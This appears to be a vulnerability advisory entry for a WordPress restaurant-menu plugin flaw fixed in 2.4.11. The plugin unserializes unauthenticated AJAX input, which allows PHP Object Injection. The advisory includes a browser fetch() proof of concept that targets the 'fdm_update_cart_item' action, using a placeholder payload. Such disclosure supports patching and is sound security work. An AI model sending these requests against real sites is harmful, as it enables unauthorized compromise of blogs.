WordPress Plugin Vulnerabilities

Five Star Restaurant Menu and Food Ordering < 2.4.11 - Unauthenticated PHP Object Injection

Description

The plugin unserializes user input via an AJAX action available to unauthenticated users, allowing them to perform PHP Object Injection when a suitable gadget is present on the blog.

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog unauthenticated

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "fdm_update_cart_item", "options": "data-to-unserialize"}),
  "method": "POST",
  "credentials": "include"
});

Affects Plugins

Fixed in 2.4.11

References

Classification

Type
OBJECT INJECTION
CWE
CVSS

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-10-27 (about 6 months ago)
Added
2023-10-27 (about 6 months ago)
Last Updated
2023-10-27 (about 6 months ago)

Other